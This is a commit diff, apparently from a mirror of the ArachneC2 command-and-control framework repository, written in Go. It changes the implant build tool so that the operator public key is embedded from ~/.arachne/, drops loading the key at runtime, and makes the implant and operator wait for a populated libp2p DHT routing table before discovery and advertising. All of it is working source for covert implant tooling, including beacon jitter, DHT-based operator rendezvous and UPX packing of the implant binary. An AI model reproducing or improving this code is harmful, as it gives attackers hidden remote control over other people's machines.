mirror of
https://github.com/portbuster1337/ArachneC2
synced 2026-06-14 08:40:53 +00:00
Store keys in ~/.arachne/, remove non-embedded implant, fix DHT advertise wait, suppress routing table spam
This commit is contained in:
Binary file not shown.
@@ -10,14 +10,18 @@ import (
|
||||
)
|
||||
|
||||
func main() {
|
||||
if len(os.Args) < 2 {
|
||||
log.Fatalf("usage: build-implant <operator.pub> [output-path]")
|
||||
}
|
||||
pubPath := defaultPubKeyPath()
|
||||
outputPath := "bin/implant"
|
||||
|
||||
pubPath := os.Args[1]
|
||||
outputPath := "arachne-implant"
|
||||
if len(os.Args) > 2 {
|
||||
switch len(os.Args) {
|
||||
case 1:
|
||||
case 2:
|
||||
pubPath = os.Args[1]
|
||||
case 3:
|
||||
pubPath = os.Args[1]
|
||||
outputPath = os.Args[2]
|
||||
default:
|
||||
log.Fatalf("usage: build-implant [<operator.pub>] [<output-path>]")
|
||||
}
|
||||
data, err := os.ReadFile(pubPath)
|
||||
if err != nil {
|
||||
@@ -47,7 +51,7 @@ var embeddedOperatorPubKey = %s
|
||||
}
|
||||
log.Printf("wrote %s (%d bytes embedded)", genPath, len(data))
|
||||
|
||||
outPath := outputPath
|
||||
outPath := filepath.Join(root, outputPath)
|
||||
|
||||
goBinary := "go"
|
||||
if goroot := os.Getenv("GOROOT"); goroot != "" {
|
||||
@@ -67,6 +71,7 @@ var embeddedOperatorPubKey = %s
|
||||
|
||||
if upxPath, err := exec.LookPath("upx"); err == nil {
|
||||
upx := exec.Command(upxPath, "--best", "--lzma", outPath)
|
||||
upx.Dir = root
|
||||
upx.Stdout = os.Stdout
|
||||
upx.Stderr = os.Stderr
|
||||
if err := upx.Run(); err != nil {
|
||||
@@ -77,6 +82,14 @@ var embeddedOperatorPubKey = %s
|
||||
}
|
||||
}
|
||||
|
||||
func defaultPubKeyPath() string {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "operator.pub"
|
||||
}
|
||||
return filepath.Join(home, ".arachne", "operator.pub")
|
||||
}
|
||||
|
||||
func findProjectRoot() (string, error) {
|
||||
dir, err := os.Getwd()
|
||||
if err != nil {
|
||||
|
||||
+14
-20
@@ -33,7 +33,6 @@ type Agent struct {
|
||||
}
|
||||
|
||||
type AgentConfig struct {
|
||||
OperatorKeyFile string
|
||||
OperatorAddr string
|
||||
BeaconInterval time.Duration
|
||||
BeaconJitter time.Duration
|
||||
@@ -43,28 +42,23 @@ type AgentConfig struct {
|
||||
|
||||
func DefaultAgentConfig() AgentConfig {
|
||||
return AgentConfig{
|
||||
OperatorKeyFile: "operator.pub",
|
||||
BeaconInterval: 10 * time.Second,
|
||||
BeaconJitter: 5 * time.Second,
|
||||
ReconnectBackoff: 5 * time.Second,
|
||||
}
|
||||
}
|
||||
|
||||
func loadOperatorPubKey(cfg AgentConfig) (crypto.PubKey, error) {
|
||||
if len(embeddedOperatorPubKey) > 0 {
|
||||
return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
|
||||
func loadOperatorPubKey() (crypto.PubKey, error) {
|
||||
if len(embeddedOperatorPubKey) == 0 {
|
||||
return nil, fmt.Errorf("no embedded operator public key — rebuild with build-implant tool")
|
||||
}
|
||||
pubKeyData, err := os.ReadFile(cfg.OperatorKeyFile)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read operator key %s: %w", cfg.OperatorKeyFile, err)
|
||||
}
|
||||
return cryptography.PubKeyFromBytes(pubKeyData)
|
||||
return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
|
||||
}
|
||||
|
||||
func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
|
||||
ctx, cancel := context.WithCancel(ctx)
|
||||
|
||||
operatorPub, err := loadOperatorPubKey(cfg)
|
||||
operatorPub, err := loadOperatorPubKey()
|
||||
if err != nil {
|
||||
cancel()
|
||||
return nil, fmt.Errorf("load operator pubkey: %w", err)
|
||||
@@ -151,17 +145,17 @@ func (a *Agent) Start() error {
|
||||
|
||||
func (a *Agent) discoverOperatorLoop(ns string) {
|
||||
log.Printf("[implant] DHT discovery started for: %s", ns)
|
||||
for {
|
||||
if a.node.DHT == nil || len(a.node.DHT.RoutingTable().ListPeers()) == 0 {
|
||||
log.Printf("[implant] DHT routing table empty, waiting for bootstrap...")
|
||||
select {
|
||||
case <-a.ctx.Done():
|
||||
return
|
||||
case <-time.After(5 * time.Second):
|
||||
}
|
||||
continue
|
||||
for a.node.DHT == nil || a.node.DHT.RoutingTable().Size() == 0 {
|
||||
log.Printf("[implant] DHT routing table empty, waiting for bootstrap...")
|
||||
select {
|
||||
case <-a.ctx.Done():
|
||||
return
|
||||
case <-time.After(2 * time.Second):
|
||||
}
|
||||
}
|
||||
log.Printf("[implant] DHT routing table has %d peers, querying for operator", a.node.DHT.RoutingTable().Size())
|
||||
|
||||
for {
|
||||
log.Printf("[implant] querying DHT for operator...")
|
||||
peerCh, err := a.node.FindPeers(a.ctx, ns)
|
||||
if err != nil {
|
||||
|
||||
@@ -1,3 +0,0 @@
|
||||
package core
|
||||
|
||||
var embeddedOperatorPubKey = []byte(" åkR¹ì¶‰¥B2t’A^�àQ¥ 7'¥:t´ Büõ’")
|
||||
@@ -7,6 +7,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/libp2p/go-libp2p/core/crypto"
|
||||
"github.com/libp2p/go-libp2p/core/peer"
|
||||
@@ -148,6 +149,10 @@ func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
|
||||
return nil, fmt.Errorf("marshal key: %w", err)
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0700); err != nil {
|
||||
return nil, fmt.Errorf("create key directory: %w", err)
|
||||
}
|
||||
|
||||
if err := os.WriteFile(path, marshaled, 0600); err != nil {
|
||||
return nil, fmt.Errorf("write key to %s: %w", path, err)
|
||||
}
|
||||
|
||||
@@ -3,6 +3,7 @@ package transport
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
@@ -171,10 +172,12 @@ func (n *Node) StartDiscovery() error {
|
||||
for _, pi := range n.config.BootstrapPeers {
|
||||
connectCtx, cancel := context.WithTimeout(n.ctx, 5*time.Second)
|
||||
if err := n.Host.Connect(connectCtx, pi); err != nil {
|
||||
log.Printf("[discovery] bootstrap %s: %v", pi.ID.String(), err)
|
||||
cancel()
|
||||
continue
|
||||
}
|
||||
cancel()
|
||||
log.Printf("[discovery] connected to bootstrap: %s", pi.ID.String())
|
||||
}
|
||||
}()
|
||||
|
||||
|
||||
+35
-13
@@ -5,6 +5,7 @@ import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -95,21 +96,42 @@ func (o *Operator) Start() error {
|
||||
return fmt.Errorf("discovery: %w", err)
|
||||
}
|
||||
|
||||
ns := o.messenger.RendezvousString()
|
||||
if o.node.DHT != nil {
|
||||
log.Printf("[operator] advertising on DHT rendezvous: %s", ns)
|
||||
go func() {
|
||||
for {
|
||||
if err := o.node.Advertise(o.ctx, ns); err != nil {
|
||||
log.Printf("[operator] advertise: %v", err)
|
||||
ns := o.messenger.RendezvousString()
|
||||
if o.node.DHT != nil {
|
||||
log.Printf("[operator] advertising on DHT rendezvous: %s", ns)
|
||||
go func() {
|
||||
for o.node.DHT.RoutingTable().Size() == 0 {
|
||||
select {
|
||||
case <-o.ctx.Done():
|
||||
return
|
||||
case <-time.After(2 * time.Second):
|
||||
}
|
||||
}
|
||||
select {
|
||||
case <-o.ctx.Done():
|
||||
return
|
||||
case <-time.After(30 * time.Second):
|
||||
log.Printf("[operator] DHT routing table has %d peers, starting advertise", o.node.DHT.RoutingTable().Size())
|
||||
for {
|
||||
if err := o.node.Advertise(o.ctx, ns); err != nil {
|
||||
if !strings.Contains(err.Error(), "failed to find any peer") {
|
||||
log.Printf("[operator] advertise: %v", err)
|
||||
}
|
||||
} else {
|
||||
break
|
||||
}
|
||||
select {
|
||||
case <-o.ctx.Done():
|
||||
return
|
||||
case <-time.After(10 * time.Second):
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
log.Printf("[operator] advertise succeeded on %s", ns)
|
||||
for {
|
||||
o.node.Advertise(o.ctx, ns)
|
||||
select {
|
||||
case <-o.ctx.Done():
|
||||
return
|
||||
case <-time.After(30 * time.Second):
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
go o.discoverPeersLoop(ns)
|
||||
}
|
||||
|
||||
+20
-14
@@ -12,16 +12,22 @@ import (
|
||||
)
|
||||
|
||||
func Run(relayAddrs []string) error {
|
||||
if err := os.MkdirAll(arachneDir(), 0700); err != nil {
|
||||
return fmt.Errorf("create arachne directory: %w", err)
|
||||
}
|
||||
|
||||
keys, err := cryptography.LoadOrGenerateOperatorKey(keyPath())
|
||||
if err != nil {
|
||||
return fmt.Errorf("load operator key: %w", err)
|
||||
}
|
||||
|
||||
pubPath := pubKeyPath()
|
||||
pubBytes, err := crypto.MarshalPublicKey(keys.PublicKey)
|
||||
if err == nil {
|
||||
if err := os.WriteFile(pubPath, pubBytes, 0644); err == nil {
|
||||
log.Printf("[operator] public key exported: %s", pubPath)
|
||||
if _, err := os.Stat(pubPath); os.IsNotExist(err) {
|
||||
pubBytes, err := crypto.MarshalPublicKey(keys.PublicKey)
|
||||
if err == nil {
|
||||
if err := os.WriteFile(pubPath, pubBytes, 0644); err == nil {
|
||||
log.Printf("[operator] public key exported: %s", pubPath)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -44,18 +50,18 @@ func Run(relayAddrs []string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func keyPath() string {
|
||||
exe, err := os.Executable()
|
||||
if err == nil {
|
||||
return filepath.Join(filepath.Dir(exe), "operator.key")
|
||||
func arachneDir() string {
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return ".arachne"
|
||||
}
|
||||
return "operator.key"
|
||||
return filepath.Join(home, ".arachne")
|
||||
}
|
||||
|
||||
func keyPath() string {
|
||||
return filepath.Join(arachneDir(), "operator.key")
|
||||
}
|
||||
|
||||
func pubKeyPath() string {
|
||||
exe, err := os.Executable()
|
||||
if err == nil {
|
||||
return filepath.Join(filepath.Dir(exe), "operator.pub")
|
||||
}
|
||||
return "operator.pub"
|
||||
return filepath.Join(arachneDir(), "operator.pub")
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user